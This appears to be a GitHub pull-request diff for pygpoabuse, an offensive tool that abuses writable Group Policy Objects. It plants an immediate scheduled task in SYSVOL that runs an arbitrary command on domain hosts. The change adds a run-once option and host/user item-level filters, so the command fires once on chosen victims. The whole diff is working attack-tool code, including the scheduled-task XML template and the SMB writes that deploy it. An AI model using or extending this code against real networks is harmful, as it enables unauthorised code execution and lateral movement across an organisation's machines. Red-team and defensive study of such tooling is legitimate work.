Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion pygpoabuse/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,8 @@ def main():
parser.add_argument('-ccache', action='store', help='ccache file name (must be in local directory)')
parser.add_argument('-f', action='store_true', help='Force add ScheduleTask')
parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)')
parser.add_argument('--no-run-once', action='store_true',
help='Disable "Apply once and do not reapply". By default the task runs once; use this flag to reapply on every GPO refresh.')
filtered = parser.add_argument_group("Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled)")
filtered.add_argument('-filter-enabled', action='store_true',
help='Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user')
Expand Down Expand Up @@ -206,7 +208,8 @@ def main():
force=options.f,
filter_enabled=options.filter_enabled,
target_dns_name=options.target_dns_name,
target_username=options.target_username,
target_username=options.target_username,
run_once=not options.no_run_once,
target_user_sid=options.target_user_sid
)
if task_name:
Expand Down
6 changes: 3 additions & 3 deletions pygpoabuse/gpo.py
Original file line number Diff line number Diff line change
Expand Up @@ -109,7 +109,7 @@ def _check_or_create(self, base_path, path):
return False
return True
## Added Filter support
def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False, filter_enabled=False, target_dns_name="", target_username="", target_user_sid=""):
def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", description="", powershell=False, command="", gpo_type="computer", force=False, filter_enabled=False, target_dns_name="", target_username="", target_user_sid="", run_once=True):

try:
tid = self._smb_session.connectTree("SYSVOL")
Expand Down Expand Up @@ -139,7 +139,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio
fid = self._smb_session.openFile(tid, path)
st_content = self._smb_session.readFile(tid, fid, singleCall=False).decode("utf-8")
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description,
powershell=powershell, command=command, old_value=st_content, filter_enabled=filter_enabled,target_dns_name=target_dns_name,target_username=target_username, target_user_sid=target_user_sid)
powershell=powershell, command=command, old_value=st_content, filter_enabled=filter_enabled,target_dns_name=target_dns_name,target_username=target_username, target_user_sid=target_user_sid, run_once=run_once)
tasks = st.parse_tasks(st_content)

if not force:
Expand Down Expand Up @@ -169,7 +169,7 @@ def update_scheduled_task(self, domain, gpo_id, name="", mod_date="", descriptio
except Exception:
logging.error("This user doesn't seem to have the necessary rights", exc_info=True)
return False
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, filter_enabled=filter_enabled,target_dns_name=target_dns_name,target_username=target_username, target_user_sid=target_user_sid)
st = ScheduledTask(gpo_type=gpo_type, name=name, mod_date=mod_date, description=description, powershell=powershell, command=command, filter_enabled=filter_enabled,target_dns_name=target_dns_name,target_username=target_username, target_user_sid=target_user_sid, run_once=run_once)
new_content = st.generate_scheduled_task_xml()

try:
Expand Down
24 changes: 17 additions & 7 deletions pygpoabuse/scheduledtask.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@


class ScheduledTask:
def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value="", filter_enabled=False, target_dns_name="", target_username="", target_user_sid=""):
def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value="", filter_enabled=False, target_dns_name="", target_username="", target_user_sid="", run_once=True):
self._type = gpo_type

if name:
Expand Down Expand Up @@ -55,15 +55,20 @@ def __init__(self, gpo_type="computer", name="", mod_date="", description="", po
else:
self._task_str = f"""<ImmediateTaskV2 clsid="{{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}}" name="{self._name}" image="0" changed="{self._mod_date}" uid="{{{self._guid}}}"><Properties action="C" name="{self._name}" runAs="%LogonDomain%\\%LogonUser%" logonType="InteractiveToken"><Task version="1.3"><RegistrationInfo><Author>{self._author}</Author><Description>{self._description}</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>%LogonDomain%\\%LogonUser%</UserId><LogonType>InteractiveToken</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>{self._shell}</Command><Arguments>{self._command}</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2>"""

# Targeting single hosts/users through filtering
# host (computer GPO) or principal (user GPO) instead of every object in the GPO scope
# XML mirrors SharpGPOAbuse --FilterEnabled output.
self._filters = ""
# Build Item-Level Targeting filters
# FilterRunOnce implements "Apply once and do not reapply"
# Additional FilterComputer/FilterUser narrows the scope to specific targets
filter_items = []

if run_once:
run_once_guid = str(uuid.uuid4()).upper()
filter_items.append('<FilterRunOnce hidden="1" not="0" bool="AND" id="{}"/>'.format(run_once_guid))

if filter_enabled:
if self._type == "computer":
if target_dns_name:
_dns = escape(target_dns_name, {'"': '&quot;'})
self._filters = '<Filters><FilterComputer bool="AND" not="0" type="DNS" name="{}"/></Filters>'.format(_dns)
filter_items.append('<FilterComputer bool="AND" not="0" type="DNS" name="{}"/>'.format(_dns))
else:
if target_username or target_user_sid:
_fu = '<FilterUser bool="AND" not="0"'
Expand All @@ -72,7 +77,12 @@ def __init__(self, gpo_type="computer", name="", mod_date="", description="", po
if target_user_sid:
_fu += ' sid="{}"'.format(escape(target_user_sid, {'"': '&quot;'}))
_fu += '/>'
self._filters = '<Filters>{}</Filters>'.format(_fu)
filter_items.append(_fu)

if filter_items:
self._filters = '<Filters>' + ''.join(filter_items) + '</Filters>'
else:
self._filters = ""

if self._filters:
self._task_str = self._task_str.replace(
Expand Down